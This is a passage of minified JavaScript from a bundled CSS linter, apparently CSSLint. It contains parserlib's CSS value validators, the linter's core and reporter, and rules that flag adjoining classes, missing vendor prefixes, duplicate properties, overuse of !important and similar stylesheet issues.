this[\"<length>\"](e)||this[\"<percentage>\"](e)||ValidationTypes.isLiteral(e,\"auto\")},\"<padding-width>\":function(e){return this[\"<length>\"](e)||this[\"<percentage>\"](e)},\"<shape>\":function(e){return e.type==\"function\"&&(e.name==\"rect\"||e.name==\"inset-rect\")},\"<time>\":function(e){return e.type==\"time\"},\"<flex-grow>\":function(e){return this[\"<number>\"](e)},\"<flex-shrink>\":function(e){return this[\"<number>\"](e)},\"<width>\":function(e){return this[\"<margin-width>\"](e)},\"<flex-basis>\":function(e){return this[\"<width>\"](e)},\"<flex-direction>\":function(e){return ValidationTypes.isLiteral(e,\"row | row-reverse | column | column-reverse\")},\"<flex-wrap>\":function(e){return ValidationTypes.isLiteral(e,\"nowrap | wrap | wrap-reverse\")}},complex:{\"<bg-position>\":function(e){var t=this,n=!1,r=\"<percentage> | <length>\",i=\"left | right\",s=\"top | bottom\",o=0,u=function(){return e.hasNext()&&e.peek()!=\",\"};while(e.peek(o)&&e.peek(o)!=\",\")o++;return o<3?ValidationTypes.isAny(e,i+\" | center | \"+r)?(n=!0,ValidationTypes.isAny(e,s+\" | center | \"+r)):ValidationTypes.isAny(e,s)&&(n=!0,ValidationTypes.isAny(e,i+\" | center\")):ValidationTypes.isAny(e,i)?ValidationTypes.isAny(e,s)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,r)&&(ValidationTypes.isAny(e,s)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,\"center\")&&(n=!0)):ValidationTypes.isAny(e,s)?ValidationTypes.isAny(e,i)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,r)&&(ValidationTypes.isAny(e,i)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,\"center\")&&(n=!0)):ValidationTypes.isAny(e,\"center\")&&ValidationTypes.isAny(e,i+\" | \"+s)&&(n=!0,ValidationTypes.isAny(e,r)),n},\"<bg-size>\":function(e){var t=this,n=!1,r=\"<percentage> | <length> | auto\",i,s,o;return ValidationTypes.isAny(e,\"cover | contain\")?n=!0:ValidationTypes.isAny(e,r)&&(n=!0,ValidationTypes.isAny(e,r)),n},\"<repeat-style>\":function(e){var t=!1,n=\"repeat | space | round | no-repeat\",r;return e.hasNext()&&(r=e.next(),ValidationTypes.isLiteral(r,\"repeat-x | repeat-y\")?t=!0:ValidationTypes.isLiteral(r,n)&&(t=!0,e.hasNext()&&ValidationTypes.isLiteral(e.peek(),n)&&e.next())),t},\"<shadow>\":function(e){var t=!1,n=0,r=!1,i=!1,s;if(e.hasNext()){ValidationTypes.isAny(e,\"inset\")&&(r=!0),ValidationTypes.isAny(e,\"<color>\")&&(i=!0);while(ValidationTypes.isAny(e,\"<length>\")&&n<4)n++;e.hasNext()&&(i||ValidationTypes.isAny(e,\"<color>\"),r||ValidationTypes.isAny(e,\"inset\")),t=n>=2&&n<=4}return t},\"<x-one-radius>\":function(e){var t=!1,n=\"<length> | <percentage> | inherit\";return ValidationTypes.isAny(e,n)&&(t=!0,ValidationTypes.isAny(e,n)),t},\"<flex>\":function(e){var t,n=!1;ValidationTypes.isAny(e,\"none | inherit\")?n=!0:ValidationTypes.isType(e,\"<flex-grow>\")?e.peek()?ValidationTypes.isType(e,\"<flex-shrink>\")?e.peek()?n=ValidationTypes.isType(e,\"<flex-basis>\"):n=!0:ValidationTypes.isType(e,\"<flex-basis>\")&&(n=e.peek()===null):n=!0:ValidationTypes.isType(e,\"<flex-basis>\")&&(n=!0);if(!n)throw t=e.peek(),new ValidationError(\"Expected (none | [ <flex-grow> <flex-shrink>? || <flex-basis> ]) but found '\"+e.value.text+\"'.\",t.line,t.col);return n}}};parserlib.css={Colors:Colors,Combinator:Combinator,Parser:Parser,PropertyName:PropertyName,PropertyValue:PropertyValue,PropertyValuePart:PropertyValuePart,MediaFeature:MediaFeature,MediaQuery:MediaQuery,Selector:Selector,SelectorPart:SelectorPart,SelectorSubPart:SelectorSubPart,Specificity:Specificity,TokenStream:TokenStream,Tokens:Tokens,ValidationError:ValidationError}}(),function(){for(var e in parserlib)exports[e]=parserlib[e]}();var util={isArray:function(e){return Array.isArray(e)||typeof e==\"object\"&&objectToString(e)===\"[object Array]\"},isDate:function(e){return typeof e==\"object\"&&objectToString(e)===\"[object Date]\"},isRegExp:function(e){return typeof e==\"object\"&&objectToString(e)===\"[object RegExp]\"},getRegExpFlags:function(e){var t=\"\";return e.global&&(t+=\"g\"),e.ignoreCase&&(t+=\"i\"),e.multiline&&(t+=\"m\"),t}};typeof module==\"object\"&&(module.exports=clone),clone.clonePrototype=function(e){if(e===null)return null;var t=function(){};return t.prototype=e,new t};var CSSLint=function(){function i(e,t){var r,i=e&&e.match(n),s=i&&i[1];return s&&(r={\"true\":2,\"\":1,\"false\":0,2:2,1:1,0:0},s.toLowerCase().split(\",\").forEach(function(e){var n=e.split(\":\"),i=n[0]||\"\",s=n[1]||\"\";t[i.trim()]=r[s.trim()]})),t}var e=[],t=[],n=/\\/\\*csslint([^\\*]*)\\*\\//,r=new parserlib.util.EventTarget;return r.version=\"@VERSION@\",r.addRule=function(t){e.push(t),e[t.id]=t},r.clearRules=function(){e=[]},r.getRules=function(){return[].concat(e).sort(function(e,t){return e.id>t.id?1:0})},r.getRuleset=function(){var t={},n=0,r=e.length;while(n<r)t[e[n++].id]=1;return t},r.addFormatter=function(e){t[e.id]=e},r.getFormatter=function(e){return t[e]},r.format=function(e,t,n,r){var i=this.getFormatter(n),s=null;return i&&(s=i.startFormat(),s+=i.formatResults(e,t,r||{}),s+=i.endFormat()),s},r.hasFormat=function(e){return t.hasOwnProperty(e)},r.verify=function(t,r){var s=0,o,u,a,f=new parserlib.css.Parser({starHack:!0,ieFilters:!0,underscoreHack:!0,strict:!1});u=t.replace(/\\n\\r?/g,\"$split$\").split(\"$split$\"),r||(r=this.getRuleset()),n.test(t)&&(r=clone(r),r=i(t,r)),o=new Reporter(u,r),r.errors=2;for(s in r)r.hasOwnProperty(s)&&r[s]&&e[s]&&e[s].init(f,o);try{f.parse(t)}catch(l){o.error(\"Fatal error, cannot continue: \"+l.message,l.line,l.col,{})}return a={messages:o.messages,stats:o.stats,ruleset:o.ruleset},a.messages.sort(function(e,t){return e.rollup&&!t.rollup?1:!e.rollup&&t.rollup?-1:e.line-t.line}),a},r}();Reporter.prototype={constructor:Reporter,error:function(e,t,n,r){this.messages.push({type:\"error\",line:t,col:n,message:e,evidence:this.lines[t-1],rule:r||{}})},warn:function(e,t,n,r){this.report(e,t,n,r)},report:function(e,t,n,r){this.messages.push({type:this.ruleset[r.id]===2?\"error\":\"warning\",line:t,col:n,message:e,evidence:this.lines[t-1],rule:r})},info:function(e,t,n,r){this.messages.push({type:\"info\",line:t,col:n,message:e,evidence:this.lines[t-1],rule:r})},rollupError:function(e,t){this.messages.push({type:\"error\",rollup:!0,message:e,rule:t})},rollupWarn:function(e,t){this.messages.push({type:\"warning\",rollup:!0,message:e,rule:t})},stat:function(e,t){this.stats[e]=t}},CSSLint._Reporter=Reporter,CSSLint.Util={mix:function(e,t){var n;for(n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return n},indexOf:function(e,t){if(e.indexOf)return e.indexOf(t);for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},forEach:function(e,t){if(e.forEach)return e.forEach(t);for(var n=0,r=e.length;n<r;n++)t(e[n],n,e)}},CSSLint.addRule({id:\"adjoining-classes\",name:\"Disallow adjoining classes\",desc:\"Don't use adjoining classes.\",browsers:\"IE6\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f,l,c;for(f=0;f<i.length;f++){s=i[f];for(l=0;l<s.parts.length;l++){o=s.parts[l];if(o.type===e.SELECTOR_PART_TYPE){a=0;for(c=0;c<o.modifiers.length;c++)u=o.modifiers[c],u.type===\"class\"&&a++,a>1&&t.report(\"Don't use adjoining classes.\",o.line,o.col,n)}}}})}}),CSSLint.addRule({id:\"box-model\",name:\"Beware of broken box size\",desc:\"Don't use width or height when using padding or border.\",browsers:\"All\",init:function(e,t){function u(){s={},o=!1}function a(){var e,u;if(!o){if(s.height)for(e in i)i.hasOwnProperty(e)&&s[e]&&(u=s[e].value,(e!==\"padding\"||u.parts.length!==2||u.parts[0].value!==0)&&t.report(\"Using height with \"+e+\" can sometimes make elements larger than you expect.\",s[e].line,s[e].col,n));if(s.width)for(e in r)r.hasOwnProperty(e)&&s[e]&&(u=s[e].value,(e!==\"padding\"||u.parts.length!==2||u.parts[1].value!==0)&&t.report(\"Using width with \"+e+\" can sometimes make elements larger than you expect.\",s[e].line,s[e].col,n))}}var n=this,r={border:1,\"border-left\":1,\"border-right\":1,padding:1,\"padding-left\":1,\"padding-right\":1},i={border:1,\"border-bottom\":1,\"border-top\":1,padding:1,\"padding-bottom\":1,\"padding-top\":1},s,o=!1;e.addListener(\"startrule\",u),e.addListener(\"startfontface\",u),e.addListener(\"startpage\",u),e.addListener(\"startpagemargin\",u),e.addListener(\"startkeyframerule\",u),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase();i[t]||r[t]?!/^0\\S*$/.test(e.value)&&(t!==\"border\"||e.value.toString()!==\"none\")&&(s[t]={line:e.property.line,col:e.property.col,value:e.value}):/^(width|height)/i.test(t)&&/^(length|percentage)/.test(e.value.parts[0].type)?s[t]=1:t===\"box-sizing\"&&(o=!0)}),e.addListener(\"endrule\",a),e.addListener(\"endfontface\",a),e.addListener(\"endpage\",a),e.addListener(\"endpagemargin\",a),e.addListener(\"endkeyframerule\",a)}}),CSSLint.addRule({id:\"box-sizing\",name:\"Disallow use of box-sizing\",desc:\"The box-sizing properties isn't supported in IE6 and IE7.\",browsers:\"IE6, IE7\",tags:[\"Compatibility\"],init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.property.text.toLowerCase();r===\"box-sizing\"&&t.report(\"The box-sizing property isn't supported in IE6 and IE7.\",e.line,e.col,n)})}}),CSSLint.addRule({id:\"bulletproof-font-face\",name:\"Use the bulletproof @font-face syntax\",desc:\"Use the bulletproof @font-face syntax to avoid 404's in old IE (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax).\",browsers:\"All\",init:function(e,t){var n=this,r=!1,i=!0,s=!1,o,u;e.addListener(\"startfontface\",function(){r=!0}),e.addListener(\"property\",function(e){if(!r)return;var t=e.property.toString().toLowerCase(),n=e.value.toString();o=e.line,u=e.col;if(t===\"src\"){var a=/^\\s?url\\(['\"].+\\.eot\\?.*['\"]\\)\\s*format\\(['\"]embedded-opentype['\"]\\).*$/i;!n.match(a)&&i?(s=!0,i=!1):n.match(a)&&!i&&(s=!1)}}),e.addListener(\"endfontface\",function(){r=!1,s&&t.report(\"@font-face declaration doesn't follow the fontspring bulletproof syntax.\",o,u,n)})}}),CSSLint.addRule({id:\"compatible-vendor-prefixes\",name:\"Require compatible vendor prefixes\",desc:\"Include all compatible vendor prefixes to reach a wider range of users.\",browsers:\"All\",init:function(e,t){var n=this,r,i,s,o,u,a,f,l=!1,c=Array.prototype.push,h=[];r={animation:\"webkit moz\",\"animation-delay\":\"webkit moz\",\"animation-direction\":\"webkit moz\",\"animation-duration\":\"webkit moz\",\"animation-fill-mode\":\"webkit moz\",\"animation-iteration-count\":\"webkit moz\",\"animation-name\":\"webkit moz\",\"animation-play-state\":\"webkit moz\",\"animation-timing-function\":\"webkit moz\",appearance:\"webkit moz\",\"border-end\":\"webkit moz\",\"border-end-color\":\"webkit moz\",\"border-end-style\":\"webkit moz\",\"border-end-width\":\"webkit moz\",\"border-image\":\"webkit moz o\",\"border-radius\":\"webkit\",\"border-start\":\"webkit moz\",\"border-start-color\":\"webkit moz\",\"border-start-style\":\"webkit moz\",\"border-start-width\":\"webkit moz\",\"box-align\":\"webkit moz ms\",\"box-direction\":\"webkit moz ms\",\"box-flex\":\"webkit moz ms\",\"box-lines\":\"webkit ms\",\"box-ordinal-group\":\"webkit moz ms\",\"box-orient\":\"webkit moz ms\",\"box-pack\":\"webkit moz ms\",\"box-sizing\":\"webkit moz\",\"box-shadow\":\"webkit moz\",\"column-count\":\"webkit moz ms\",\"column-gap\":\"webkit moz ms\",\"column-rule\":\"webkit moz ms\",\"column-rule-color\":\"webkit moz ms\",\"column-rule-style\":\"webkit moz ms\",\"column-rule-width\":\"webkit moz ms\",\"column-width\":\"webkit moz ms\",hyphens:\"epub moz\",\"line-break\":\"webkit ms\",\"margin-end\":\"webkit moz\",\"margin-start\":\"webkit moz\",\"marquee-speed\":\"webkit wap\",\"marquee-style\":\"webkit wap\",\"padding-end\":\"webkit moz\",\"padding-start\":\"webkit moz\",\"tab-size\":\"moz o\",\"text-size-adjust\":\"webkit ms\",transform:\"webkit moz ms o\",\"transform-origin\":\"webkit moz ms o\",transition:\"webkit moz o\",\"transition-delay\":\"webkit moz o\",\"transition-duration\":\"webkit moz o\",\"transition-property\":\"webkit moz o\",\"transition-timing-function\":\"webkit moz o\",\"user-modify\":\"webkit moz\",\"user-select\":\"webkit moz ms\",\"word-break\":\"epub ms\",\"writing-mode\":\"epub ms\"};for(s in r)if(r.hasOwnProperty(s)){o=[],u=r[s].split(\" \");for(a=0,f=u.length;a<f;a++)o.push(\"-\"+u[a]+\"-\"+s);r[s]=o,c.apply(h,o)}e.addListener(\"startrule\",function(){i=[]}),e.addListener(\"startkeyframes\",function(e){l=e.prefix||!0}),e.addListener(\"endkeyframes\",function(){l=!1}),e.addListener(\"property\",function(e){var t=e.property;CSSLint.Util.indexOf(h,t.text)>-1&&(!l||typeof l!=\"string\"||t.text.indexOf(\"-\"+l+\"-\")!==0)&&i.push(t)}),e.addListener(\"endrule\",function(){if(!i.length)return;var e={},s,o,u,a,f,l,c,h,p,d;for(s=0,o=i.length;s<o;s++){u=i[s];for(a in r)r.hasOwnProperty(a)&&(f=r[a],CSSLint.Util.indexOf(f,u.text)>-1&&(e[a]||(e[a]={full:f.slice(0),actual:[],actualNodes:[]}),CSSLint.Util.indexOf(e[a].actual,u.text)===-1&&(e[a].actual.push(u.text),e[a].actualNodes.push(u))))}for(a in e)if(e.hasOwnProperty(a)){l=e[a],c=l.full,h=l.actual;if(c.length>h.length)for(s=0,o=c.length;s<o;s++)p=c[s],CSSLint.Util.indexOf(h,p)===-1&&(d=h.length===1?h[0]:h.length===2?h.join(\" and \"):h.join(\", \"),t.report(\"The property \"+p+\" is compatible with \"+d+\" and should be included as well.\",l.actualNodes[0].line,l.actualNodes[0].col,n))}})}}),CSSLint.addRule({id:\"display-property-grouping\",name:\"Require properties appropriate for display\",desc:\"Certain properties shouldn't be used with certain display property values.\",browsers:\"All\",init:function(e,t){function s(e,s,o){i[e]&&(typeof r[e]!=\"string\"||i[e].value.toLowerCase()!==r[e])&&t.report(o||e+\" can't be used with display: \"+s+\".\",i[e].line,i[e].col,n)}function o(){i={}}function u(){var e=i.display?i.display.value:null;if(e)switch(e){case\"inline\":s(\"height\",e),s(\"width\",e),s(\"margin\",e),s(\"margin-top\",e),s(\"margin-bottom\",e),s(\"float\",e,\"display:inline has no effect on floated elements (but may be used to fix the IE6 double-margin bug).\");break;case\"block\":s(\"vertical-align\",e);break;case\"inline-block\":s(\"float\",e);break;default:e.indexOf(\"table-\")===0&&(s(\"margin\",e),s(\"margin-left\",e),s(\"margin-right\",e),s(\"margin-top\",e),s(\"margin-bottom\",e),s(\"float\",e))}}var n=this,r={display:1,\"float\":\"none\",height:1,width:1,margin:1,\"margin-left\":1,\"margin-right\":1,\"margin-bottom\":1,\"margin-top\":1,padding:1,\"padding-left\":1,\"padding-right\":1,\"padding-bottom\":1,\"padding-top\":1,\"vertical-align\":1},i;e.addListener(\"startrule\",o),e.addListener(\"startfontface\",o),e.addListener(\"startkeyframerule\",o),e.addListener(\"startpagemargin\",o),e.addListener(\"startpage\",o),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase();r[t]&&(i[t]={value:e.value.text,line:e.property.line,col:e.property.col})}),e.addListener(\"endrule\",u),e.addListener(\"endfontface\",u),e.addListener(\"endkeyframerule\",u),e.addListener(\"endpagemargin\",u),e.addListener(\"endpage\",u)}}),CSSLint.addRule({id:\"duplicate-background-images\",name:\"Disallow duplicate background images\",desc:\"Every background-image should be unique. Use a common class for e.g. sprites.\",browsers:\"All\",init:function(e,t){var n=this,r={};e.addListener(\"property\",function(e){var i=e.property.text,s=e.value,o,u;if(i.match(/background/i))for(o=0,u=s.parts.length;o<u;o++)s.parts[o].type===\"uri\"&&(typeof r[s.parts[o].uri]==\"undefined\"?r[s.parts[o].uri]=e:t.report(\"Background image '\"+s.parts[o].uri+\"' was used multiple times, first declared at line \"+r[s.parts[o].uri].line+\", col \"+r[s.parts[o].uri].col+\".\",e.line,e.col,n))})}}),CSSLint.addRule({id:\"duplicate-properties\",name:\"Disallow duplicate properties\",desc:\"Duplicate properties must appear one after the other.\",browsers:\"All\",init:function(e,t){function s(){r={}}var n=this,r,i;e.addListener(\"startrule\",s),e.addListener(\"startfontface\",s),e.addListener(\"startpage\",s),e.addListener(\"startpagemargin\",s),e.addListener(\"startkeyframerule\",s),e.addListener(\"property\",function(e){var s=e.property,o=s.text.toLowerCase();r[o]&&(i!==o||r[o]===e.value.text)&&t.report(\"Duplicate property '\"+e.property+\"' found.\",e.line,e.col,n),r[o]=e.value.text,i=o})}}),CSSLint.addRule({id:\"empty-rules\",name:\"Disallow empty rules\",desc:\"Rules without any properties specified should be removed.\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"startrule\",function(){r=0}),e.addListener(\"property\",function(){r++}),e.addListener(\"endrule\",function(e){var i=e.selectors;r===0&&t.report(\"Rule is empty.\",i[0].line,i[0].col,n)})}}),CSSLint.addRule({id:\"errors\",name:\"Parsing Errors\",desc:\"This rule looks for recoverable syntax errors.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"error\",function(e){t.error(e.message,e.line,e.col,n)})}}),CSSLint.addRule({id:\"fallback-colors\",name:\"Require fallback colors\",desc:\"For older browsers that don't support RGBA, HSL, or HSLA, provide a fallback color.\",browsers:\"IE6,IE7,IE8\",init:function(e,t){function o(){s={},r=null}var n=this,r,i={color:1,background:1,\"border-color\":1,\"border-top-color\":1,\"border-right-color\":1,\"border-bottom-color\":1,\"border-left-color\":1,border:1,\"border-top\":1,\"border-right\":1,\"border-bottom\":1,\"border-left\":1,\"background-color\":1},s;e.addListener(\"startrule\",o),e.addListener(\"startfontface\",o),e.addListener(\"startpage\",o),e.addListener(\"startpagemargin\",o),e.addListener(\"startkeyframerule\",o),e.addListener(\"property\",function(e){var s=e.property,o=s.text.toLowerCase(),u=e.value.parts,a=0,f=\"\",l=u.length;if(i[o])while(a<l)u[a].type===\"color\"&&(\"alpha\"in u[a]||\"hue\"in u[a]?(/([^\\)]+)\\(/.test(u[a])&&(f=RegExp.$1.toUpperCase()),(!r||r.property.text.toLowerCase()!==o||r.colorType!==\"compat\")&&t.report(\"Fallback \"+o+\" (hex or RGB) should precede \"+f+\" \"+o+\".\",e.line,e.col,n)):e.colorType=\"compat\"),a++;r=e})}}),CSSLint.addRule({id:\"floats\",name:\"Disallow too many floats\",desc:\"This rule tests if the float property is used too many times\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"property\",function(e){e.property.text.toLowerCase()===\"float\"&&e.value.text.toLowerCase()!==\"none\"&&r++}),e.addListener(\"endstylesheet\",function(){t.stat(\"floats\",r),r>=10&&t.rollupWarn(\"Too many floats (\"+r+\"), you're probably using them for layout. Consider using a grid system instead.\",n)})}}),CSSLint.addRule({id:\"font-faces\",name:\"Don't use too many web fonts\",desc:\"Too many different web fonts in the same stylesheet.\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"startfontface\",function(){r++}),e.addListener(\"endstylesheet\",function(){r>5&&t.rollupWarn(\"Too many @font-face declarations (\"+r+\").\",n)})}}),CSSLint.addRule({id:\"font-sizes\",name:\"Disallow too many font sizes\",desc:\"Checks the number of font-size declarations.\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"property\",function(e){e.property.toString()===\"font-size\"&&r++}),e.addListener(\"endstylesheet\",function(){t.stat(\"font-sizes\",r),r>=10&&t.rollupWarn(\"Too many font-size declarations (\"+r+\"), abstraction needed.\",n)})}}),CSSLint.addRule({id:\"gradients\",name:\"Require all gradient definitions\",desc:\"When using a vendor-prefixed gradient, make sure to use them all.\",browsers:\"All\",init:function(e,t){var n=this,r;e.addListener(\"startrule\",function(){r={moz:0,webkit:0,oldWebkit:0,o:0}}),e.addListener(\"property\",function(e){/\\-(moz|o|webkit)(?:\\-(?:linear|radial))\\-gradient/i.test(e.value)?r[RegExp.$1]=1:/\\-webkit\\-gradient/i.test(e.value)&&(r.oldWebkit=1)}),e.addListener(\"endrule\",function(e){var i=[];r.moz||i.push(\"Firefox 3.6+\"),r.webkit||i.push(\"Webkit (Safari 5+, Chrome)\"),r.oldWebkit||i.push(\"Old Webkit (Safari 4+, Chrome)\"),r.o||i.push(\"Opera 11.1+\"),i.length&&i.length<4&&t.report(\"Missing vendor-prefixed CSS gradients for \"+i.join(\", \")+\".\",e.selectors[0].line,e.selectors[0].col,n)})}}),CSSLint.addRule({id:\"ids\",name:\"Disallow IDs in selectors\",desc:\"Selectors should not contain IDs.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f,l,c;for(f=0;f<i.length;f++){s=i[f],a=0;for(l=0;l<s.parts.length;l++){o=s.parts[l];if(o.type===e.SELECTOR_PART_TYPE)for(c=0;c<o.modifiers.length;c++)u=o.modifiers[c],u.type===\"id\"&&a++}a===1?t.report(\"Don't use IDs in selectors.\",s.line,s.col,n):a>1&&t.report(a+\" IDs in the selector, really?\",s.line,s.col,n)}})}}),CSSLint.addRule({id:\"import\",name:\"Disallow @import\",desc:\"Don't use @import, use <link> instead.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"import\",function(e){t.report(\"@import prevents parallel downloads, use <link> instead.\",e.line,e.col,n)})}}),CSSLint.addRule({id:\"important\",name:\"Disallow !important\",desc:\"Be careful when using !important declaration\",browsers:\"All\",init:function(e,t){var n=this,r=0;e.addListener(\"property\",function(e){e.important===!0&&(r++,t.report(\"Use of !important\",e.line,e.col,n))}),e.addListener(\"endstylesheet\",function(){t.stat(\"important\",r),r>=10&&t.rollupWarn(\"Too many !important declarations (\"+r+\"), try to use less than 10 to avoid specificity issues.\",n)})}}),CSSLint.addRule({id:\"known-properties\",name:\"Require use of known properties\",desc:\"Properties should be known (listed in CSS3 specification) or be a vendor-prefixed property.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){e.invalid&&t.report(e.invalid.message,e.line,e.col,n)})}}),CSSLint.addRule({id:\"order-alphabetical\",name:\"Alphabetical order\",desc:\"Assure properties are in alphabetical order\",browsers:\"All\",init:function(e,t){var n=this,r,i=function(){r=[]};e.addListener(\"startrule\",i),e.addListener(\"startfontface\",i),e.addListener(\"startpage\",i),e.addListener(\"startpagemargin\",i),e.addListener(\"startkeyframerule\",i),e.addListener(\"property\",function(e){var t=e.property.text,n=t.toLowerCase().replace(/^-.*?-/,\"\");r.push(n)}),e.addListener(\"endrule\",function(e){var i=r.join(\",\"),s=r.sort().join(\",\");i!==s&&t.report(\"Rule doesn't have all its properties in alphabetical ordered.\",e.line,e.col,n)})}}),CSSLint.addRule({id:\"outline-none\",name:\"Disallow outline: none\",desc:\"Use of outline: none or outline: 0 should be limited to :focus rules.\",browsers:\"All\",tags:[\"Accessibility\"],init:function(e,t){function i(e){e.selectors?r={line:e.line,col:e.col,selectors:e.selectors,propCount:0,outline:!1}:r=null}function s(){r&&r.outline&&(r.selectors.toString().toLowerCase().indexOf(\":focus\")===-1?t.report(\"Outlines should only be modified using :focus.\",r.line,r.col,n):r.propCount===1&&t.report(\"Outlines shouldn't be hidden unless other visual changes are made.\",r.line,r.col,n))}var n=this,r;e.addListener(\"startrule\",i),e.addListener(\"startfontface\",i),e.addListener(\"startpage\",i),e.addListener(\"startpagemargin\",i),e.addListener(\"startkeyframerule\",i),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase(),n=e.value;r&&(r.propCount++,t===\"outline\"&&(n.toString()===\"none\"||n.toString()===\"0\")&&(r.outline=!0))}),e.addListener(\"endrule\",s),e.addListener(\"endfontface\",s),e.addListener(\"endpage\",s),e.addListener(\"endpagemargin\",s),e.addListener(\"endkeyframerule\",s)}}),CSSLint.addRule({id:\"overqualified-elements\",name:\"Disallow overqualified elements\",desc:\"Don't use classes or IDs with elements (a.foo or a#foo).\",browsers:\"All\",init:function(e,t){var n=this,r={};e.addListener(\"startrule\",function(i){var s=i.selectors,o,u,a,f,l,c;for(f=0;f<s.length;f++){o=s[f];for(l=0;l<o.parts.length;l++){u=o.parts[l];if(u.type===e.SELECTOR_PART_TYPE)for(c=0;c<u.modifiers.length;c++)a=u.modifiers[c],u.elementName&&a.type===\"id\"?t.report(\"Element (\"+u+\") is overqualified, just use \"+a+\" without element name.\",u.line,u.col,n):a.type===\"class\"&&(r[a]||(r[a]=[]),r[a].push({modifier:a,part:u}))}}}),e.addListener(\"endstylesheet\",function(){var e;for(e in r)r.hasOwnProperty(e)&&r[e].length===1&&r[e][0].part.elementName&&t.report(\"Element (\"+r[e][0].part+\") is overqualified, just use \"+r[e][0].modifier+\" without element name.\",r[e][0].part.line,r[e][0].part.col,n)})}}),CSSLint.addRule({id:\"qualified-headings\",name:\"Disallow qualified headings\",desc:\"Headings should not be qualified (namespaced).\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a;for(u=0;u<i.length;u++){s=i[u];for(a=0;a<s.parts.length;a++)o=s.parts[a],o.type===e.SELECTOR_PART_TYPE&&o.elementName&&/h[1-6]/.test(o.elementName.toString())&&a>0&&t.report(\"Heading (\"+o.elementName+\") should not be qualified.\",o.line,o.col,n)}})}}),CSSLint.addRule({id:\"regex-selectors\",name:\"Disallow selectors that look like regexs\",desc:\"Selectors that look like regular expressions are slow and should be avoided.\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f,l;for(a=0;a<i.length;a++){s=i[a];for(f=0;f<s.parts.length;f++){o=s.parts[f];if(o.type===e.SELECTOR_PART_TYPE)for(l=0;l<o.modifiers.length;l++)u=o.modifiers[l],u.type===\"attribute\"&&/([\\~\\|\\^\\$\\*]=)/.test(u)&&t.report(\"Attribute selectors with \"+RegExp.$1+\" are slow!\",u.line,u.col,n)}}})}}),CSSLint.addRule({id:\"rules-count\",name:\"Rules Count\",desc:\"Track how many rules there are.\",browsers:\"All\",init:function(e,t){var n=0;e.addListener(\"startrule\",function(){n++}),e.addListener(\"endstylesheet\",function(){t.stat(\"rule-count\",n)})}}),CSSLint.addRule({id:\"selector-max-approaching\",name:\"Warn when approaching the 4095 selector limit for IE\",desc:\"Will warn when selector count is >= 3800 selectors.\",browsers:\"IE\",init:function(e,t){var n=this,r=0;e.addListener(\"startrule\",function(e){r+=e.selectors.length}),e.addListener(\"endstylesheet\",function(){r>=3800&&t.report(\"You have \"+r+\" selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.\",0,0,n)})}}),CSSLint.addRule({id:\"selector-max\",name:\"Error when past the 4095 selector limit for IE\",desc:\"Will error when selector count is > 4095.\",browsers:\"IE\",init:function(e,t){var n=this,r=0;e.addListener(\"startrule\",function(e){r+=e.selectors.length}),e.addListener(\"endstylesheet\",function(){r>4095&&t.report(\"You have \"+r+\" selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.\",0,0,n)})}}),CSSLint.addRule({id:\"selector-newline\",name:\"Disallow new-line characters in selectors\",desc:\"New-line characters in selectors are usually a forgotten comma and not a descendant combinator.\",browsers:\"All\",init:function(e,t){function r(e){var r,i,s,o,u,a,f,l,c,h,p,d=e.selectors;for(r=0,i=d.length;r<i;r++){s=d[r];for(o=0,a=s.parts.length;o<a;o++)for(u=o+1;u<a;u++)f=s.parts[o],l=s.parts[u],c=f.type,h=f.line,p=l.line,c===\"descendant\"&&p>h&&t.report(\"newline character found in selector (forgot a comma?)\",h,d[r].parts[0].col,n)}}var n=this;e.addListener(\"startrule\",r)}}),CSSLint.addRule({id:\"shorthand\",name:\"Require shorthand properties\",desc:\"Use shorthand properties where possible.\",browsers:\"All\",init:function(e,t){function f(){u={}}function l(e){var r,i,s,o;for(r in a)if(a.hasOwnProperty(r)){o=0;for(i=0,s=a[r].length;i<s;i++)o+=u[a[r][i]]?1:0;o===a[r].length&&t.report(\"The properties \"+a[r].join(\", \")+\" can be replaced by \"+r+\".\",e.line,e.col,n)}}var n=this,r,i,s,o={},u,a={margin:[\"margin-top\",\"margin-bottom\",\"margin-left\",\"margin-right\"],padding:[\"padding-top\",\"padding-bottom\",\"padding-left\",\"padding-right\"]};for(r in a)if(a.hasOwnProperty(r))for(i=0,s=a[r].length;i<s;i++)o[a[r][i]]=r;e.addListener(\"startrule\",f),e.addListener(\"startfontface\",f),e.addListener(\"property\",function(e){var t=e.property.toString().toLowerCase();o[t]&&(u[t]=1)}),e.addListener(\"endrule\",l),e.addListener(\"endfontface\",l)}}),CSSLint.addRule({id:\"star-property-hack\",name:\"Disallow properties with a star prefix\",desc:\"Checks for the star property hack (targets IE6/7)\",browsers:\"All\",init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.property;r.hack===\"*\"&&t.report(\"Property with star prefix found.\",e.property.line,e.property.col,n)})}}),CSSLint.addRule({id:\"text-indent\",name:\"Disallow negative text-indent\",desc:\"Checks for text indent less than 